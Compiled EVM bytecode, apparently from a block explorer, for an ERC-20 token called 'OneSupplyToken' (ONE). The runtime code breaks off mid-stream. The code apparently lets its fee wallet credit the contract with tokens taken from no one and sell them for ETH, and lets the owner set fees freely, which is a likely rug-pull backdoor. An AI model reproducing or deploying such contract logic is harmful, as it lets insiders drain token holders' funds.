ffffffffffffff1681526020019081526020015f20546121a090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611c77611c2b82846121a090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9790919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611d1a84866121a090919063ffffffff16565b604051611d279190612405565b60405180910390a350505050565b5f838311158290611d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7391906122d4565b60405180910390fd5b505f8385611d8a9190612e79565b9050809150509392505050565b5f808284611da59190612dde565b905083811015611dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de190612ef6565b60405180910390fd5b8091505092915050565b6001600d60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611e2b57611e2a612f14565b5b604051908082528060200260200182016040528015611e595781602001602082028036833780820191505090505b50905030815f81518110611e7057611e6f612f41565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f389190612829565b81600181518110611f4c57611f4b612f41565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb230600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461125d565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612014959493929190613025565b5f604051808303815f87803b15801561202b575f80fd5b505af115801561203d573d5f803e3d5ffd5b50505050505f600d60156101000a81548160ff02191690831515021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156120c4573d5f803e3d5ffd5b5050565b5f8083036120d8575f9050612139565b5f82846120e59190612704565b90508284826120f491906130aa565b14612134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212b9061314a565b60405180910390fd5b809150505b92915050565b5f61218083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121e9565b905092915050565b5f8183116121965782612198565b815b905092915050565b5f6121e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d35565b905092915050565b5f808311829061222f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222691906122d4565b60405180910390fd5b505f838561223d91906130aa565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612281578082015181840152602081019050612266565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6122a68261224a565b6122b08185612254565b93506122c0818560208601612264565b6122c98161228c565b840191505092915050565b5f6020820190508181035f8301526122ec818461229c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612321826122f8565b9050919050565b61233181612317565b811461233b575f80fd5b50565b5f8135905061234c81612328565b92915050565b5f819050919050565b61236481612352565b811461236e575f80fd5b50565b5f8135905061237f8161235b565b92915050565b5f806040838503121561239b5761239a6122f4565b5b5f6123a88582860161233e565b92505060206123b985828601612371565b9150509250929050565b5f8115159050919050565b6123d7816123c3565b82525050565b5f6020820190506123f05f8301846123ce565b92915050565b6123ff81612352565b82525050565b5f6020820190506124185f8301846123f6565b92915050565b5f805f60608486031215612435576124346122f4565b5b5f6124428682870161233e565b93505060206124538682870161233e565b925050604061246486828701612371565b9150509250925092565b5f60ff82169050919050565b6124838161246e565b82525050565b5f60208201905061249c5f83018461247a565b92915050565b5f602082840312156124b7576124b66122f4565b5b5f6124c48482850161233e565b91505092915050565b5f602082840312156124e2576124e16122f4565b5b5f6124ef84828501612371565b91505092915050565b61250181612317565b82525050565b5f60208201905061251a5f8301846124f8565b92915050565b5f8060408385031215612536576125356122f4565b5b5f6125438582860161233e565b92505060206125548582860161233e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156125e0578086048111156125bc576125bb61255e565b5b60018516156125cb5780820291505b80810290506125d98561258b565b94506125a0565b94509492505050565b5f826125f857600190506126b3565b81612605575f90506126b3565b816001811461261b576002811461262557612654565b60019150506126b3565b60ff8411156126375761263661255e565b5b8360020a91508482111561264e5761264d61255e565b5b506126b3565b5060208310610133831016604e8410600b84101617156126895782820a9050838111156126845761268361255e565b5b6126b3565b6126968484846001612597565b925090508184048111156126ad576126ac61255e565b5b81810290505b9392505050565b5f6126c482612352565b91506126cf8361246e565b92506126fc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846125e9565b905092915050565b5f61270e82612352565b915061271983612352565b925082820261272781612352565b9150828204841483151761273e5761273d61255e565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612779602083612254565b915061278482612745565b602082019050919050565b5f6020820190508181035f8301526127a68161276d565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6127e1601783612254565b91506127ec826127ad565b602082019050919050565b5f6020820190508181035f83015261280e816127d5565b9050919050565b5f8151905061282381612328565b92915050565b5f6020828403121561283e5761283d6122f4565b5b5f61284b84828501612815565b91505092915050565b5f6040820190506128675f8301856124f8565b61287460208301846124f8565b9392505050565b5f819050919050565b5f819050919050565b5f6128a76128a261289d8461287b565b612884565b612352565b9050919050565b6128b78161288d565b82525050565b5f60c0820190506128d05f8301896124f8565b6128dd60208301886123f6565b6128ea60408301876128ae565b6128f760608301866128ae565b61290460808301856124f8565b61291160a08301846123f6565b979650505050505050565b5f8151905061292a8161235b565b92915050565b5f805f60608486031215612947576129466122f4565b5b5f6129548682870161291c565b93505060206129658682870161291c565b92505060406129768682870161291c565b9150509250925092565b5f6040820190506129935f8301856124f8565b6129a060208301846123f6565b9392505050565b6129b0816123c3565b81146129ba575f80fd5b50565b5f815190506129cb816129a7565b92915050565b5f602082840312156129e6576129e56122f4565b5b5f6129f3848285016129bd565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612a56602483612254565b9150612a61826129fc565b604082019050919050565b5f6020820190508181035f830152612a8381612a4a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ae4602283612254565b9150612aef82612a8a565b604082019050919050565b5f6020820190508181035f830152612b1181612ad8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612b72602583612254565b9150612b7d82612b18565b604082019050919050565b5f6020820190508181035f830152612b9f81612b66565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612c00602383612254565b9150612c0b82612ba6565b604082019050919050565b5f6020820190508181035f830152612c2d81612bf4565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612c8e602983612254565b9150612c9982612c34565b604082019050919050565b5f6020820190508181035f830152612cbb81612c82565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f612d42604983612254565b9150612d4d82612cc2565b606082019050919050565b5f6020820190508181035f830152612d6f81612d36565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612daa601983612254565b9150612db582612d76565b602082019050919050565b5f6020820190508181035f830152612dd781612d9e565b9050919050565b5f612de882612352565b9150612df383612352565b9250828201905080821115612e0b57612e0a61255e565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612e45601a83612254565b9150612e5082612e11565b602082019050919050565b5f6020820190508181035f830152612e7281612e39565b9050919050565b5f612e8382612352565b9150612e8e83612352565b9250828203905081811115612ea657612ea561255e565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ee0601b83612254565b9150612eeb82612eac565b602082019050919050565b5f6020820190508181035f830152612f0d81612ed4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612fa081612317565b82525050565b5f612fb18383612f97565b60208301905092915050565b5f602082019050919050565b5f612fd382612f6e565b612fdd8185612f78565b9350612fe883612f88565b805f5b83811015613018578151612fff8882612fa6565b975061300a83612fbd565b925050600181019050612feb565b5085935050505092915050565b5f60a0820190506130385f8301886123f6565b61304560208301876128ae565b81810360408301526130578186612fc9565b905061306660608301856124f8565b61307360808301846123f6565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6130b482612352565b91506130bf83612352565b9250826130cf576130ce61307d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613134602183612254565b915061313f826130da565b604082019050919050565b5f6020820190508181035f83015261316181613128565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220110543428dbee87ff4f06a399a283c131a39b64a98ade6a28325a6e50c71153a64736f6c63430008150033000000000000000000000000a9646921a592c28f6d04558ef1d7c493ad657a3b
Deployed Bytecode
0x60806040526004361061012d575f3560e01c80636cda375b116100aa5780638da5cb5b1161006e5780638da5cb5b146103b65780638f9a55c0146103e057806395d89b411461040a578063a9059cbb14610434578063c9567bf914610470578063dd62ed3e1461048657610134565b80636cda375b146102fc57806370a0823114610324578063715018a614610360578063751039fc146103765780637d1db4a51461038c57610134565b806323b872dd116100f157806323b872dd1461021c578063313ce567146102585780634fbee1931461028257806351bc3c85146102be57806366718524146102d457610134565b806306fdde0314610138578063095ea7b3146101625780630a702e8d1461019e5780630faee56f146101c857806318160ddd146101f257610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104c2565b60405161015991906122d4565b60405180910390f35b34801561016d575f80fd5b5061018860048036038101906101839190612385565b6104ff565b60405161019591906123dd565b60405180910390f35b3480156101a9575f80fd5b506101b261051c565b6040516101bf91906123dd565b60405180910390f35b3480156101d3575f80fd5b506101dc61052e565b6040516101e99190612405565b60405180910390f35b3480156101fd575f80fd5b50610206610534565b6040516102139190612405565b60405180910390f35b348015610227575f80fd5b50610242600480360381019061023d919061241e565b610554565b60405161024f91906123dd565b60405180910390f35b348015610263575f80fd5b5061026c610628565b6040516102799190612489565b60405180910390f35b34801561028d575f80fd5b506102a860048036038101906102a391906124a2565b610630565b6040516102b591906123dd565b60405180910390f35b3480156102c9575f80fd5b506102d2610682565b005b3480156102df575f80fd5b506102fa60048036038101906102f591906124a2565b6107d1565b005b348015610307575f80fd5b50610322600480360381019061031d91906124cd565b6108a9565b005b34801561032f575f80fd5b5061034a600480360381019061034591906124a2565b61094e565b6040516103579190612405565b60405180910390f35b34801561036b575f80fd5b50610374610994565b005b348015610381575f80fd5b5061038a610ae2565b005b348015610397575f80fd5b506103a0610c21565b6040516103ad9190612405565b60405180910390f35b3480156103c1575f80fd5b506103ca610c27565b6040516103d79190612507565b60405180910390f35b3480156103eb575f80fd5b506103f4610c4e565b6040516104019190612405565b60405180910390f35b348015610415575f80fd5b5061041e610c54565b60405161042b91906122d4565b60405180910390f35b34801561043f575f80fd5b5061045a60048036038101906104559190612385565b610c91565b60405161046791906123dd565b60405180910390f35b34801561047b575f80fd5b50610484610cae565b005b348015610491575f80fd5b506104ac60048036038101906104a79190612520565b6111d4565b6040516104b99190612405565b60405180910390f35b60606040518060400160405280600e81526020017f4f6e65537570706c79546f6b656e000000000000000000000000000000000000815250905090565b5f61051261050b611256565b848461125d565b6001905092915050565b60055f9054906101000a900460ff1681565b60085481565b5f6009600a61054391906126ba565b600161054f9190612704565b905090565b5f610560848484611420565b61061d8461056c611256565b610618856040518060600160405280602881526020016131696028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105cf611256565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d359092919063ffffffff16565b61125d565b600190509392505050565b5f6009905090565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106c3611256565b73ffffffffffffffffffffffffffffffffffffffff16146106e2575f80fd5b6107586103e86009600a6106f691906126ba565b60016107029190612704565b61070c9190612704565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9790919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f6107a33061094e565b90505f8111156107b7576107b681611df4565b5b5f4790505f8111156107cd576107cc8161205f565b5b5050565b6107d9611256565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085c9061278f565b60405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6108b1611256565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461093d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109349061278f565b60405180910390fd5b8060098190555080600a8190555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61099c611256565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1f9061278f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610aea611256565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d9061278f565b60405180910390fd5b6009600a610b8491906126ba565b6001610b909190612704565b6006819055506009600a610ba491906126ba565b6001610bb09190612704565b6007819055505f60055f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610bfe91906126ba565b6001610c0a9190612704565b604051610c179190612405565b60405180910390a1565b60065481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60075481565b60606040518060400160405280600381526020017f4f4e450000000000000000000000000000000000000000000000000000000000815250905090565b5f610ca4610c9d611256565b8484611420565b6001905092915050565b610cb6611256565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d399061278f565b60405180910390fd5b600d60149054906101000a900460ff1615610d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d89906127f7565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e2b30600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610e1a91906126ba565b6001610e269190612704565b61125d565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e95573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eb99190612829565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f3f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f639190612829565b6040518363ffffffff1660e01b8152600401610f80929190612854565b6020604051808303815f875af1158015610f9c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fc09190612829565b600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110473061094e565b5f80611051610c27565b426040518863ffffffff1660e01b8152600401611073969594939291906128bd565b60606040518083038185885af115801561108f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110b49190612930565b505050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611154929190612980565b6020604051808303815f875af1158015611170573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061119491906129d1565b506001600d60146101000a81548160ff0219169083151502179055506001600d60166101000a81548160ff02191690831515021790555043600b81905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c290612a6c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611339576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133090612afa565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114139190612405565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361148e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148590612b88565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f390612c16565b60405180910390fd5b5f811161153e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153590612ca4565b60405180910390fd5b5f611547610c27565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115b55750611585610c27565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a855760055f9054906101000a900460ff161561174057600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116785750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561173f574360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106116fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f390612d58565b60405180910390fd5b4360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b611768606461175a600954856120c890919063ffffffff16565b61213f90919063ffffffff16565b9050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156118135750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611866575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611909576006548211156118b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a790612dc0565b60405180910390fd5b600754826118bd8561094e565b6118c79190612dde565b1115611908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ff90612e5b565b60405180910390fd5b5b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561199157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156119c1576119be60646119b0600a54856120c890919063ffffffff16565b61213f90919063ffffffff16565b90505b600d60159054906101000a900460ff16158015611a2a5750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611a425750600d60169054906101000a900460ff165b15611a8457611a6c611a6783611a62611a5a3061094e565b600854612188565b612188565b611df4565b5f4790505f811115611a8257611a814761205f565b5b505b5b5f811115611b8457611add8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9790919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b7b9190612405565b60405180910390a35b611bd48260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121a090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611c77611c2b82846121a090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9790919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611d1a84866121a090919063ffffffff16565b604051611d279190612405565b60405180910390a350505050565b5f838311158290611d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7391906122d4565b60405180910390fd5b505f8385611d8a9190612e79565b9050809150509392505050565b5f808284611da59190612dde565b905083811015611dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de190612ef6565b60405180910390fd5b8091505092915050565b6001600d60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611e2b57611e2a612f14565b5b604051908082528060200260200182016040528015611e595781602001602082028036833780820191505090505b50905030815f81518110611e7057611e6f612f41565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f389190612829565b81600181518110611f4c57611f4b612f41565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb230600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461125d565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612014959493929190613025565b5f604051808303815f87803b15801561202b575f80fd5b505af115801561203d573d5f803e3d5ffd5b50505050505f600d60156101000a81548160ff02191690831515021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156120c4573d5f803e3d5ffd5b5050565b5f8083036120d8575f9050612139565b5f82846120e59190612704565b90508284826120f491906130aa565b14612134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212b9061314a565b60405180910390fd5b809150505b92915050565b5f61218083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121e9565b905092915050565b5f8183116121965782612198565b815b905092915050565b5f6121e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d35565b905092915050565b5f808311829061222f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222691906122d4565b60405180910390fd5b505f838561223d91906130aa565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612281578082015181840152602081019050612266565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6122a68261224a565b6122b08185612254565b93506122c0818560208601612264565b6122c98161228c565b840191505092915050565b5f6020820190508181035f8301526122ec818461229c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612321826122f8565b9050919050565b61233181612317565b811461233b575f80fd5b50565b5f8135905061234c81612328565b92915050565b5f819050919050565b61236481612352565b811461236e575f80fd5b50565b5f8135905061237f8161235b565b92915050565b5f806040838503121561239b5761239a6122f4565b5b5f6123a88582860161233e565b92505060206123b985828601612371565b9150509250929050565b5f8115159050919050565b6123d7816123c3565b82525050565b5f6020820190506123f05f8301846123ce565b92915050565b6123ff81612352565b82525050565b5f6020820190506124185f8301846123f6565b92915050565b5f805f60608486031215612435576124346122f4565b5b5f6124428682870161233e565b93505060206124538682870161233e565b925050604061246486828701612371565b9150509250925092565b5f60ff82169050919050565b6124838161246e565b82525050565b5f60208201905061249c5f83018461247a565b92915050565b5f602082840312156124b7576124b66122f4565b5b5f6124c48482850161233e565b91505092915050565b5f602082840312156124e2576124e16122f4565b5b5f6124ef84828501612371565b91505092915050565b61250181612317565b82525050565b5f60208201905061251a5f8301846124f8565b92915050565b5f8060408385031215612536576125356122f4565b5b5f6125438582860161233e565b92505060206125548582860161233e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156125e0578086048111156125bc576125bb61255e565b5b60018516156125cb5780820291505b80810290506125d98561258b565b94506125a0565b94509492505050565b5f826125f857600190506126b3565b81612605575f90506126b3565b816001811461261b576002811461262557612654565b60019150506126b3565b60ff8411156126375761263661255e565b5b8360020a91508482111561264e5761264d61255e565b5b506126b3565b5060208310610133831016604e8410600b84101617156126895782820a9050838111156126845761268361255e565b5b6126b3565b6126968484846001612597565b925090508184048111156126ad576126ac61255e565b5b81810290505b9392505050565b5f6126c482612352565b91506126cf8361246e565b92506126fc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846125e9565b905092915050565b5f61270e82612352565b915061271983612352565b925082820261272781612352565b9150828204841483151761273e5761273d61255e565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612779602083612254565b915061278482612745565b602082019050919050565b5f6020820190508181035f8301526127a68161276d565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6127e1601783612254565b91506127ec826127ad565b602082019050919050565b5f6020820190508181035f83015261280e816127d5565b9050919050565b5f8151905061282381612328565b92915050565b5f6020828403121561283e5761283d6122f4565b5b5f61284b84828501612815565b91505092915050565b5f6040820190506128675f8301856124f8565b61287460208301846124f8565b9392505050565b5f819050919050565b5f819050919050565b5f6128a76128a261289d8461287b565b612884565b612352565b9050919050565b6128b78161288d565b82525050565b5f60c0820190506128d05f8301896124f8565b6128dd60208301886123f6565b6128ea60408301876128ae565b6128f760608301866128ae565b61290460808301856124f8565b61291160a08301846